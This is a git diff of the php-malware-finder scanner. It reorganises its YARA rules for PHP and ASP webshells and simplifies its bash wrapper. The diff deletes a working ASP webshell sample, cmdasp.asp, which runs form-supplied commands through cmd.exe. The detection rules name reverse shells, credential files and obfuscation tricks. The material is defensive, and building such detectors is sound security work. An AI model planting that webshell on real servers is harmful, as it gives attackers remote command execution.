diff options
| -rw-r--r-- | php-malware-finder/asp.yar | 46 | ||||
| -rw-r--r-- | php-malware-finder/php.yar | 219 | ||||
| -rwxr-xr-x | php-malware-finder/phpmalwarefinder | 153 | ||||
| -rw-r--r-- | php-malware-finder/samples/classic/cmdasp.asp | 55 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 3 |
5 files changed, 226 insertions, 250 deletions
diff --git a/php-malware-finder/asp.yar b/php-malware-finder/asp.yar deleted file mode 100644 index 6af74fb..0000000 --- a/php-malware-finder/asp.yar +++ /dev/null | |||
| @@ -1,46 +0,0 @@ | |||
| 1 | import "hash" | ||
| 2 | include "whitelist.yar" | ||
| 3 | include "common.yar" | ||
| 4 | |||
| 5 | global private rule IsAsp | ||
| 6 | { | ||
| 7 | strings: | ||
| 8 | $asp = /<%|@{}/ | ||
| 9 | $cs = /using .{4,25};/ | ||
| 10 | |||
| 11 | condition: | ||
| 12 | ($asp or $cs) and filesize < 5MB | ||
| 13 | } | ||
| 14 | |||
| 15 | rule ObfuscatedAsp | ||
| 16 | { | ||
| 17 | strings: | ||
| 18 | $ = /LANGUAGE\s*=\s*VBScript.Encode/ nocase | ||
| 19 | $ = /(".{1,5}"&){5,}/ // "e"&"v"&"a"&"l" | ||
| 20 | $ = /(chr\s*\(\s*\d{1,3}\s*\)[+\)\s]*){5,}/ nocase // chr(114)+chr(101)+chr(113)+chr(117)+chr(101) | ||
| 21 | $stunnix = /execute\("dIm [a-z]*"\):[a-z]* = unescape/ nocase // http://stunnix.com/ | ||
| 22 | |||
| 23 | condition: | ||
| 24 | any of them and not IsWhitelisted | ||
| 25 | } | ||
| 26 | |||
| 27 | rule ObfuscatedEncodingAsp | ||
| 28 | { | ||
| 29 | strings: | ||
| 30 | $unicode = /\\u[a-f0-9]/ nocase | ||
| 31 | $html_encode = /&#([0-9]{3}|x[a-f0-9]{2});/ nocase | ||
| 32 | |||
| 33 | condition: | ||
| 34 | (#unicode >= 10 or #html_encode >= 10) and not IsWhitelisted | ||
| 35 | } | ||
| 36 | |||
| 37 | rule DangerousAsp | ||
| 38 | { | ||
| 39 | strings: | ||
| 40 | $ = /createobject\s*\(\s*"(WScript\.Shell|WScript\.Network|Shell\.Application|Scripting\.FileSystemObject|ScriptControl)/ nocase | ||
| 41 | $ = /eval\s*\({0,1}\s*request/ nocase | ||
| 42 | |||
| 43 | condition: | ||
| 44 | 2 of them and not IsWhitelisted | ||
| 45 | } | ||
| 46 | |||
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index 57d6e27..06713d5 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar | |||
| @@ -1,6 +1,5 @@ | |||
| 1 | import "hash" | 1 | import "hash" |
| 2 | include "whitelist.yar" | 2 | include "whitelist.yar" |
| 3 | include "common.yar" | ||
| 4 | 3 | ||
| 5 | /* | 4 | /* |
| 6 | Detect: | 5 | Detect: |
| @@ -35,15 +34,15 @@ global private rule IsPhp | |||
| 35 | 34 | ||
| 36 | rule NonPrintableChars | 35 | rule NonPrintableChars |
| 37 | { | 36 | { |
| 38 | strings: | 37 | strings: |
| 39 | /* | 38 | /* |
| 40 | Searching only for non-printable characters completely kills the perf, | 39 | Searching only for non-printable characters completely kills the perf, |
| 41 | so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) | 40 | so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) |
| 42 | to get an acceptable speed. | 41 | to get an acceptable speed. |
| 43 | */ | 42 | */ |
| 44 | $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ | 43 | $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ |
| 45 | 44 | ||
| 46 | condition: | 45 | condition: |
| 47 | (any of them) and not IsWhitelisted | 46 | (any of them) and not IsWhitelisted |
| 48 | } | 47 | } |
| 49 | 48 | ||
| @@ -98,8 +97,8 @@ rule DodgyPhp | |||
| 98 | $various = "<!--#exec cmd=" //http://www.w3.org/Jigsaw/Doc/User/SSI.html#exec | 97 | $various = "<!--#exec cmd=" //http://www.w3.org/Jigsaw/Doc/User/SSI.html#exec |
| 99 | $at_eval = /@eval\s*\(/ nocase | 98 | $at_eval = /@eval\s*\(/ nocase |
| 100 | $double_var = /\${\s*\${/ | 99 | $double_var = /\${\s*\${/ |
| 101 | $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/ | 100 | $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/ |
| 102 | $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase | 101 | $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase |
| 103 | 102 | ||
| 104 | condition: | 103 | condition: |
| 105 | (any of them) and not IsWhitelisted | 104 | (any of them) and not IsWhitelisted |
| @@ -153,8 +152,8 @@ rule DangerousPhp | |||
| 153 | $ = "show_source" fullword nocase | 152 | $ = "show_source" fullword nocase |
| 154 | $ = "socket_create(AF_INET, SOCK_STREAM, SOL_TCP)" nocase | 153 | $ = "socket_create(AF_INET, SOCK_STREAM, SOL_TCP)" nocase |
| 155 | $ = "stream_socket_pair" nocase | 154 | $ = "stream_socket_pair" nocase |
| 156 | $ = "suhosin.executor.func.blacklist" nocase | 155 | $ = "suhosin.executor.func.blacklist" nocase |
| 157 | $ = "unregister_tick_function" fullword nocase | 156 | $ = "unregister_tick_function" fullword nocase |
| 158 | $ = "win32_create_service" fullword nocase | 157 | $ = "win32_create_service" fullword nocase |
| 159 | $ = "xmlrpc_decode" fullword nocase nocase | 158 | $ = "xmlrpc_decode" fullword nocase nocase |
| 160 | $ = /ob_start\s*\(\s*[^\)]/ //ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); | 159 | $ = /ob_start\s*\(\s*[^\)]/ //ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); |
| @@ -175,3 +174,197 @@ rule HiddenInAFile | |||
| 175 | condition: | 174 | condition: |
| 176 | ($gif at 0 or $png at 0 or $jpeg at 0) and (PasswordProtection or ObfuscatedPhp or DodgyPhp or DangerousPhp) and not IsWhitelisted | 175 | ($gif at 0 or $png at 0 or $jpeg at 0) and (PasswordProtection or ObfuscatedPhp or DodgyPhp or DangerousPhp) and not IsWhitelisted |
| 177 | } | 176 | } |
| 177 | |||
| 178 | rule CloudFlareBypass | ||
| 179 | { | ||
| 180 | strings: | ||
| 181 | $ = "chk_jschl" | ||
| 182 | $ = "jschl_vc" | ||
| 183 | $ = "jschl_answer" | ||
| 184 | |||
| 185 | condition: | ||
| 186 | 2 of them // Better be safe than sorry | ||
| 187 | } | ||
| 188 | |||
| 189 | private rule IRC | ||
| 190 | { | ||
| 191 | strings: | ||
| 192 | $ = "USER" fullword nocase | ||
| 193 | $ = "PASS" fullword nocase | ||
| 194 | $ = "PRIVMSG" fullword nocase | ||
| 195 | $ = "MODE" fullword nocase | ||
| 196 | $ = "PING" fullword nocase | ||
| 197 | $ = "PONG" fullword nocase | ||
| 198 | $ = "JOIN" fullword nocase | ||
| 199 | $ = "PART" fullword nocase | ||
| 200 | |||
| 201 | condition: | ||
| 202 | 5 of them | ||
| 203 | } | ||
| 204 | |||
| 205 | private rule base64 | ||
| 206 | { | ||
| 207 | strings: | ||
| 208 | $user_agent = "SFRUUF9VU0VSX0FHRU5UCg" | ||
| 209 | $eval = "ZXZhbCg" | ||
| 210 | $system = "c3lzdGVt" | ||
| 211 | $preg_replace = "cHJlZ19yZXBsYWNl" | ||
| 212 | $exec = "ZXhlYyg" | ||
| 213 | $base64_decode = "YmFzZTY0X2RlY29kZ" | ||
| 214 | $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" | ||
| 215 | $cmd_exe = "Y21kLmV4ZQ" | ||
| 216 | $powershell = "cG93ZXJzaGVsbC5leGU" | ||
| 217 | |||
| 218 | condition: | ||
| 219 | any of them | ||
| 220 | } | ||
| 221 | |||
| 222 | private rule hex | ||
| 223 | { | ||
| 224 | strings: | ||
| 225 | $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase | ||
| 226 | $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase | ||
| 227 | $exec = "\\x65\\x78\\x65\\x63" nocase | ||
| 228 | $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase | ||
| 229 | $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase | ||
| 230 | $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase | ||
| 231 | $base64_decode = "\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65\\x28\\x67\\x7a\\x69\\x6e\\x66\\x6c\\x61\\x74\\x65\\x28" nocase | ||
| 232 | |||
| 233 | condition: | ||
| 234 | any of them | ||
| 235 | } | ||
| 236 | |||
| 237 | private rule Hpack | ||
| 238 | { | ||
| 239 | strings: | ||
| 240 | $globals = "474c4f42414c53" nocase | ||
| 241 | $eval = "6576616C28" nocase | ||
| 242 | $exec = "65786563" nocase | ||
| 243 | $system = "73797374656d" nocase | ||
| 244 | $preg_replace = "707265675f7265706c616365" nocase | ||
| 245 | $base64_decode = "61736536345f6465636f646528677a696e666c61746528" nocase | ||
| 246 | |||
| 247 | condition: | ||
| 248 | any of them | ||
| 249 | } | ||
| 250 | |||
| 251 | private rule strrev | ||
| 252 | { | ||
| 253 | strings: | ||
| 254 | $globals = "slabolg" nocase fullword | ||
| 255 | $preg_replace = "ecalper_gerp" nocase fullword | ||
| 256 | $base64_decode = "edoced_46esab" nocase fullword | ||
| 257 | $gzinflate = "etalfnizg" nocase fullword | ||
| 258 | |||
| 259 | condition: | ||
| 260 | any of them | ||
| 261 | } | ||
| 262 | |||
| 263 | |||
| 264 | rule SuspiciousEncoding | ||
| 265 | { | ||
| 266 | condition: | ||
| 267 | (base64 or hex or strrev or Hpack) and not IsWhitelisted | ||
| 268 | } | ||
| 269 | |||
| 270 | rule DodgyStrings | ||
| 271 | { | ||
| 272 | strings: | ||
| 273 | $ = ".bash_history" | ||
| 274 | $ = /AddType\s+application\/x-httpd-(php|cgi)/ nocase | ||
| 275 | $ = /php_value\s*auto_prepend_file/ nocase | ||
| 276 | $ = /SecFilterEngine\s+Off/ nocase // disable modsec | ||
| 277 | $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase | ||
| 278 | $ = ".mysql_history" | ||
| 279 | $ = ".ssh/authorized_keys" | ||
| 280 | $ = "/(.*)/e" // preg_replace code execution | ||
| 281 | $ = "/../../../" | ||
| 282 | $ = "/etc/passwd" | ||
| 283 | $ = "/etc/proftpd.conf" | ||
| 284 | $ = "/etc/resolv.conf" | ||
| 285 | $ = "/etc/shadow" | ||
| 286 | $ = "/etc/syslog.conf" | ||
| 287 | $ = "/proc/cpuinfo" fullword | ||
| 288 | $ = "/var/log/lastlog" | ||
| 289 | $ = "/windows/system32/" | ||
| 290 | $ = "LOAD DATA LOCAL INFILE" nocase | ||
| 291 | $ = "WScript.Shell" | ||
| 292 | $ = "WinExec" | ||
| 293 | $ = "b374k" fullword nocase | ||
| 294 | $ = "backdoor" fullword nocase | ||
| 295 | $ = /(c99|r57|fx29)shell/ | ||
| 296 | $ = "cmd.exe" fullword nocase | ||
| 297 | $ = "powershell.exe" fullword nocase | ||
| 298 | $ = /defac(ed|er|ement|ing)/ fullword nocase | ||
| 299 | $ = "evilc0ders" fullword nocase | ||
| 300 | $ = "exploit" fullword nocase | ||
| 301 | $ = "find . -type f" fullword | ||
| 302 | $ = "hashcrack" nocase | ||
| 303 | $ = "id_rsa" fullword | ||
| 304 | $ = "ipconfig" fullword nocase | ||
| 305 | $ = "kernel32.dll" fullword nocase | ||
| 306 | $ = "kingdefacer" nocase | ||
| 307 | $ = "Wireghoul" nocase fullword | ||
| 308 | $ = "LD_PRELOAD" fullword | ||
| 309 | $ = "libpcprofile" // CVE-2010-3856 local root | ||
| 310 | $ = "locus7s" nocase | ||
| 311 | $ = "ls -la" fullword | ||
| 312 | $ = "meterpreter" fullword | ||
| 313 | $ = "nc -l" fullword | ||
| 314 | $ = "netstat -an" fullword | ||
| 315 | $ = "php://" | ||
| 316 | $ = "ps -aux" fullword | ||
| 317 | $ = "rootkit" fullword nocase | ||
| 318 | $ = "slowloris" fullword nocase | ||
| 319 | $ = "suhosin" fullword | ||
| 320 | $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. | ||
| 321 | $ = /trojan (payload)?/ | ||
| 322 | $ = "uname -a" fullword | ||
| 323 | $ = "visbot" nocase fullword | ||
| 324 | $ = "warez" fullword nocase | ||
| 325 | $ = "whoami" fullword | ||
| 326 | $ = /(r[e3]v[e3]rs[e3]|w[3e]b|cmd)\s*sh[e3]ll/ nocase | ||
| 327 | $ = /-perm -0[24]000/ // find setuid files | ||
| 328 | $ = /\/bin\/(ba)?sh/ fullword | ||
| 329 | $ = /hack(ing|er|ed)/ nocase | ||
| 330 | $ = /(safe_mode|open_basedir) bypass/ nocase | ||
| 331 | $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ | ||
| 332 | |||
| 333 | $vbs = /language\s*=\s*vbscript/ nocase | ||
| 334 | $asp = "scripting.filesystemobject" nocase | ||
| 335 | |||
| 336 | condition: | ||
| 337 | (IRC or 2 of them) and not IsWhitelisted | ||
| 338 | } | ||
| 339 | |||
| 340 | rule Websites | ||
| 341 | { | ||
| 342 | strings: | ||
| 343 | $ = "1337day.com" nocase | ||
| 344 | $ = "antichat.ru" nocase | ||
| 345 | $ = "b374k" nocase | ||
| 346 | $ = "ccteam.ru" nocase | ||
| 347 | $ = "crackfor" nocase | ||
| 348 | $ = "darkc0de" nocase | ||
| 349 | $ = "egyspider.eu" nocase | ||
| 350 | $ = "exploit-db.com" nocase | ||
| 351 | $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ | ||
| 352 | $ = "hashchecker.com" nocase | ||
| 353 | $ = "hashkiller.com" nocase | ||
| 354 | $ = "md5crack.com" nocase | ||
| 355 | $ = "md5decrypter.com" nocase | ||
| 356 | $ = "milw0rm.com" nocase | ||
| 357 | $ = "milw00rm.com" nocase | ||
| 358 | $ = "packetstormsecurity" nocase | ||
| 359 | $ = "pentestmonkey.net" nocase | ||
| 360 | $ = "phpjiami.com" nocase | ||
| 361 | $ = "rapid7.com" nocase | ||
| 362 | $ = "securityfocus" nocase | ||
| 363 | $ = "shodan.io" nocase | ||
| 364 | $ = "github.com/b374k/b374k" nocase | ||
| 365 | $ = "mumaasp.com" nocase | ||
| 366 | |||
| 367 | condition: | ||
| 368 | (any of them) and not IsWhitelisted | ||
| 369 | } | ||
| 370 | |||
diff --git a/php-malware-finder/phpmalwarefinder b/php-malware-finder/phpmalwarefinder index 23c71df..63b1f1c 100755 --- a/php-malware-finder/phpmalwarefinder +++ b/php-malware-finder/phpmalwarefinder | |||
| @@ -1,18 +1,14 @@ | |||
| 1 | #!/usr/bin/env bash | 1 | #!/usr/bin/env bash |
| 2 | 2 | ||
| 3 | |||
| 4 | YARA=$(type -P yara) | 3 | YARA=$(type -P yara) |
| 5 | CONFIG_PATH='/etc/phpmalwarefinder/common.yar' | 4 | CONFIG_PATH='/etc/phpmalwarefinder/php.yar' |
| 6 | IONICE_BIN=$(type -P ionice) | ||
| 7 | NICE_BIN=$(type -P nice) | ||
| 8 | FORMAT="php" | ||
| 9 | 5 | ||
| 10 | if [ ! -x "$YARA" ] | 6 | if [ ! -x "$YARA" ] |
| 11 | then | 7 | then |
| 12 | YARA='./yara' | 8 | YARA='./yara' |
| 13 | if [ ! -x "$YARA" ] | 9 | if [ ! -x "$YARA" ] |
| 14 | then | 10 | then |
| 15 | echo "Unable to find yara in your PATH, and in the current directory." | 11 | echo 'Unable to find yara in your $PATH, and in the current directory.' |
| 16 | exit 0 | 12 | exit 0 |
| 17 | fi | 13 | fi |
| 18 | fi | 14 | fi |
| @@ -20,130 +16,49 @@ fi | |||
| 20 | if [ ! -f "$CONFIG_PATH" ] | 16 | if [ ! -f "$CONFIG_PATH" ] |
| 21 | then | 17 | then |
| 22 | OLD_PATH=$CONFIG_PATH | 18 | OLD_PATH=$CONFIG_PATH |
| 23 | CONFIG_PATH='./common.yar' | 19 | CONFIG_PATH='./php.yar' |
| 24 | if [ ! -f "$CONFIG_PATH" ] | 20 | if [ ! -f "$CONFIG_PATH" ] |
| 25 | then | 21 | then |
| 26 | echo "Unable to find 'common.yar' in $OLD_PATH, and in the current directory." | 22 | echo "Unable to find 'php.yar' in $OLD_PATH, and in the current directory." |
| 27 | exit 0 | 23 | exit 0 |
| 28 | fi | 24 | fi |
| 29 | fi | 25 | fi |
| 30 | 26 | ||
| 31 | if [ -x "${IONICE_BIN}" ] | ||
| 32 | then | ||
| 33 | NICE=${IONICE_BIN} | ||
| 34 | NICE_OPTS="-c 3" | ||
| 35 | else | ||
| 36 | if [ -x "${NICE_BIN}" ] | ||
| 37 | then | ||
| 38 | NICE=${NICE_BIN} | ||
| 39 | NICE_OPTS="-n 20" | ||
| 40 | fi | ||
| 41 | fi | ||
| 42 | |||
| 43 | update_rules() { | ||
| 44 | SITE="https://raw.githubusercontent.com/nbs-system/php-malware-finder/master/php-malware-finder/" | ||
| 45 | RULES_FILES=('asp.yar' 'common.yar' 'php.yar' | ||
| 46 | 'whitelist.yar' 'whitelists/drupal.yar' 'whitelists/magento2.yar' | ||
| 47 | 'whitelists/phpmyadmin.yar' 'whitelists/prestashop.yar' | ||
| 48 | 'whitelists/symfony.yar' 'whitelists/wordpress.yar' ) | ||
| 49 | CONFIG_DIR="/etc/phpmalwarefinder/" | ||
| 50 | |||
| 51 | if [ ! -d $CONFIG_DIR ]; then | ||
| 52 | if [ ! -f ./common.yar ]; then | ||
| 53 | echo "no rules in $CONFIG_DIR or ./, exiting" | ||
| 54 | exit 1 | ||
| 55 | else | ||
| 56 | CONFIG_DIR="./" | ||
| 57 | fi; | ||
| 58 | fi; | ||
| 59 | |||
| 60 | for FILE in ${RULES_FILES[@]}; do | ||
| 61 | wget $SITE/$FILE -O $CONFIG_DIR/$FILE | ||
| 62 | done | ||
| 63 | } | ||
| 64 | |||
| 65 | # Determines the format of the target | ||
| 66 | # Check only the file extension and it's not even accurate | ||
| 67 | determine_format() { | ||
| 68 | # First case: target is a file | ||
| 69 | if [ -f "$1" ]; then | ||
| 70 | echo "$1" | sed 's/.*\.//' | ||
| 71 | # Second case: it is a folder | ||
| 72 | elif [ -d "$1" ]; then | ||
| 73 | find "$1" -type f -name '*.*' | sed 's/.*\.//' | uniq -c | sort -nr | head -1 | awk '{print $2}' | ||
| 74 | fi | ||
| 75 | } | ||
| 76 | |||
| 77 | one_line_trick() { | ||
| 78 | |||
| 79 | if [ -z "$FORMAT" ]; then | ||
| 80 | FORMAT=$(determine_format "$1") | ||
| 81 | fi | ||
| 82 | |||
| 83 | case $FORMAT in | ||
| 84 | 'asp') | ||
| 85 | EXT='*.asp* -o -iname *.cs[^s]*' | ||
| 86 | ;; | ||
| 87 | 'php') | ||
| 88 | EXT='*.ph*' | ||
| 89 | ;; | ||
| 90 | *) | ||
| 91 | echo "Couldn't determine the file format, or cannot parse it. Exiting." | ||
| 92 | exit 1 | ||
| 93 | ;; | ||
| 94 | esac | ||
| 95 | |||
| 96 | find "$@" -type f -iname "$EXT" -print0 | while IFS= read -r -d '' -r file; do | ||
| 97 | read -r lines _ chars _ <<< "$(wc "$file")" | ||
| 98 | |||
| 99 | if [ "$lines" -le "2" ]; then | ||
| 100 | # humm, 2 lines long file ? | ||
| 101 | if [ "$chars" -ge "300" ]; then | ||
| 102 | echo "TooShort $file" | ||
| 103 | fi; | ||
| 104 | fi; | ||
| 105 | done; | ||
| 106 | |||
| 107 | } | ||
| 108 | |||
| 109 | needle_in_haystack() { | 27 | needle_in_haystack() { |
| 110 | 28 | ||
| 111 | needle=$(mktemp) | 29 | needle=$(mktemp) |
| 112 | egrep '(PasswordProtection|Websites|TooShort|NonPrintableChars)' $1 > $needle | 30 | grep -E '(PasswordProtection|Websites|TooShort|NonPrintableChars)' $1 > $needle |
| 113 | if [ ! "$(wc -l $needle | awk '{print $1}')" = "0" ]; then | 31 | if [ ! "$(wc -l "$needle" | awk '{print $1}')" = "0" ]; then |
| 114 | echo "=================================================" | 32 | echo "=================================================" |
| 115 | echo "You should take a look at the files listed below:" | 33 | echo "You should take a look at the files listed below:" |
| 116 | cat $needle | 34 | cat "$needle" |
| 117 | fi; | 35 | fi; |
| 118 | rm $needle | 36 | rm "$needle" |
| 119 | } | 37 | } |
| 120 | 38 | ||
| 121 | show_help() { | 39 | show_help() { |
| 122 | cat << EOF | 40 | cat << EOF |
| 123 | Usage ${0##*/} [-cfhtvl] <file|folder> ... | 41 | Usage ${0##*/} [-cfhtvl] <file|folder> ... |
| 124 | -L Check long lines | 42 | -c Optional path to a rule file |
| 125 | -f Fast mode | 43 | -f Fast mode |
| 126 | -h Show this help message | 44 | -h Show this help message |
| 127 | -l Set language ('asp', 'php') | ||
| 128 | -r Optional path to a rule file | ||
| 129 | -t Specify the number of threads to use (8 by default) | 45 | -t Specify the number of threads to use (8 by default) |
| 130 | -u update rules | ||
| 131 | -v Verbose mode | 46 | -v Verbose mode |
| 132 | EOF | 47 | EOF |
| 133 | } | 48 | } |
| 134 | 49 | ||
| 135 | OPTIND=1 | 50 | OPTIND=1 |
| 136 | while getopts "c:fht:vl:Lu" opt; do | 51 | while getopts "c:fht:v" opt; do |
| 137 | case "$opt" in | 52 | case "$opt" in |
| 138 | h) | 53 | c) |
| 139 | show_help | 54 | CONFIG_PATH=${OPTARG} |
| 140 | exit 0 | ||
| 141 | ;; | 55 | ;; |
| 142 | f) | 56 | f) |
| 143 | OPTS="${OPTS} -f" | 57 | OPTS="${OPTS} -f" |
| 144 | ;; | 58 | ;; |
| 145 | c) | 59 | h) |
| 146 | CONFIG_PATH=${OPTARG} | 60 | show_help |
| 61 | exit 0 | ||
| 147 | ;; | 62 | ;; |
| 148 | t) | 63 | t) |
| 149 | OPTS="${OPTS} --threads=${OPTARG}" | 64 | OPTS="${OPTS} --threads=${OPTARG}" |
| @@ -151,16 +66,6 @@ while getopts "c:fht:vl:Lu" opt; do | |||
| 151 | v) | 66 | v) |
| 152 | OPTS="${OPTS} -s" | 67 | OPTS="${OPTS} -s" |
| 153 | ;; | 68 | ;; |
| 154 | l) | ||
| 155 | FORMAT=${OPTARG} | ||
| 156 | ;; | ||
| 157 | L) | ||
| 158 | LONG_LINES=1 | ||
| 159 | ;; | ||
| 160 | u) | ||
| 161 | update_rules | ||
| 162 | exit 0 | ||
| 163 | ;; | ||
| 164 | '?') | 69 | '?') |
| 165 | show_help | 70 | show_help |
| 166 | exit 1 | 71 | exit 1 |
| @@ -169,15 +74,9 @@ while getopts "c:fht:vl:Lu" opt; do | |||
| 169 | done | 74 | done |
| 170 | shift "$((OPTIND-1))" | 75 | shift "$((OPTIND-1))" |
| 171 | 76 | ||
| 172 | if [ ! -e ${YARA} ] | ||
| 173 | then | ||
| 174 | echo "Can't find yara. Did you installed it?" | ||
| 175 | exit 1 | ||
| 176 | fi | ||
| 177 | |||
| 178 | if [ ! -e "${CONFIG_PATH}" ] | 77 | if [ ! -e "${CONFIG_PATH}" ] |
| 179 | then | 78 | then |
| 180 | echo "${CONFIG_PATH} doesn't exist. Please give me a valid file." | 79 | echo "The configuration file ${CONFIG_PATH} doesn't exist. Please give me a valid file." |
| 181 | exit 1 | 80 | exit 1 |
| 182 | fi | 81 | fi |
| 183 | 82 | ||
| @@ -187,28 +86,16 @@ then | |||
| 187 | exit 1 | 86 | exit 1 |
| 188 | fi | 87 | fi |
| 189 | 88 | ||
| 190 | if [ ! -e "${NICE}" ] | ||
| 191 | then | ||
| 192 | echo "No nice program available. Please install ionice or nice." | ||
| 193 | fi | ||
| 194 | |||
| 195 | |||
| 196 | # only use the I/O intensive search if explicitly asked by user | ||
| 197 | if [ -e "${LONG_LINES}" ] | ||
| 198 | then | ||
| 199 | one_line_trick "$@" | ||
| 200 | fi | ||
| 201 | 89 | ||
| 202 | # Include correct yara rule | 90 | # Include correct yara rule |
| 203 | CONFIG_PATH=${CONFIG_PATH%/*}/ | 91 | OPTS="${OPTS} -r ${CONFIG_PATH}" |
| 204 | OPTS="${OPTS} -r ${CONFIG_PATH}${FORMAT}.yar" | ||
| 205 | 92 | ||
| 206 | # Copy outpout to temporary file | 93 | # Copy outpout to temporary file |
| 207 | output=$(mktemp) | 94 | output=$(mktemp) |
| 208 | # delete trailing slash for directories to prevent double slash (issue #40) | 95 | # delete trailing slash for directories to prevent double slash (issue #40) |
| 209 | target=$(echo "$@" | sed s'#/$##') | 96 | target=$(echo "$@" | sed s'#/$##') |
| 210 | # Execute rules | 97 | # Execute rules |
| 211 | ${NICE} ${NICE_OPTS} $YARA $OPTS "$target" |tee $output | 98 | $YARA $OPTS $target |tee $output |
| 212 | 99 | ||
| 213 | needle_in_haystack $output | 100 | needle_in_haystack "$output" |
| 214 | rm $output # comment this if you want to keep output | 101 | rm "$output" |
diff --git a/php-malware-finder/samples/classic/cmdasp.asp b/php-malware-finder/samples/classic/cmdasp.asp deleted file mode 100644 index 31ba9a5..0000000 --- a/php-malware-finder/samples/classic/cmdasp.asp +++ /dev/null | |||
| @@ -1,55 +0,0 @@ | |||
| 1 | <%@ Language=VBScript %> | ||
| 2 | <% | ||
| 3 | ' --------------------o0o-------------------- | ||
| 4 | ' File: CmdAsp.asp | ||
| 5 | ' Author: Maceo <maceo @ dogmile.com> | ||
| 6 | ' Release: 2000-12-01 | ||
| 7 | ' OS: Windows 2000, 4.0 NT | ||
| 8 | ' ------------------------------------------- | ||
| 9 | |||
| 10 | Dim oScript | ||
| 11 | Dim oScriptNet | ||
| 12 | Dim oFileSys, oFile | ||
| 13 | Dim szCMD, szTempFile | ||
| 14 | |||
| 15 | On Error Resume Next | ||
| 16 | |||
| 17 | ' -- create the COM objects that we will be using -- ' | ||
| 18 | Set oScript = Server.CreateObject("WSCRIPT.SHELL") | ||
| 19 | Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") | ||
| 20 | Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") | ||
| 21 | |||
| 22 | ' -- check for a command that we have posted -- ' | ||
| 23 | szCMD = Request.Form(".CMD") | ||
| 24 | If (szCMD <> "") Then | ||
| 25 | |||
| 26 | ' -- Use a poor man's pipe ... a temp file -- ' | ||
| 27 | szTempFile = "C:\" & oFileSys.GetTempName( ) | ||
| 28 | Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) | ||
| 29 | Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) | ||
| 30 | |||
| 31 | End If | ||
| 32 | |||
| 33 | %> | ||
| 34 | <HTML> | ||
| 35 | <BODY> | ||
| 36 | <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> | ||
| 37 | <input type=text name=".CMD" size=45 value="<%= szCMD %>"> | ||
| 38 | <input type=submit value="Run"> | ||
| 39 | </FORM> | ||
| 40 | <PRE> | ||
| 41 | <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> | ||
| 42 | <br> | ||
| 43 | <% | ||
| 44 | If (IsObject(oFile)) Then | ||
| 45 | ' -- Read the output from our command and remove the temp file -- ' | ||
| 46 | On Error Resume Next | ||
| 47 | Response.Write Server.HTMLEncode(oFile.ReadAll) | ||
| 48 | oFile.Close | ||
| 49 | Call oFileSys.DeleteFile(szTempFile, True) | ||
| 50 | End If | ||
| 51 | %> | ||
| 52 | </BODY> | ||
| 53 | </HTML> | ||
| 54 | |||
| 55 | <!-- http://michaeldaw.org 2006 --> | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index c6a380a..3443cc0 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -97,7 +97,4 @@ run_test real/awvjtnz.php '$reversed:' | |||
| 97 | 97 | ||
| 98 | run_test undetected/smart.php '0x6:$extract:' | 98 | run_test undetected/smart.php '0x6:$extract:' |
| 99 | 99 | ||
| 100 | # Asp files | ||
| 101 | run_test_asp classic/cmdasp.asp 'DodgyStrings' | ||
| 102 | |||
| 103 | echo "[+] Congratz, the $CPT tests succeeded!" | 100 | echo "[+] Congratz, the $CPT tests succeeded!" |
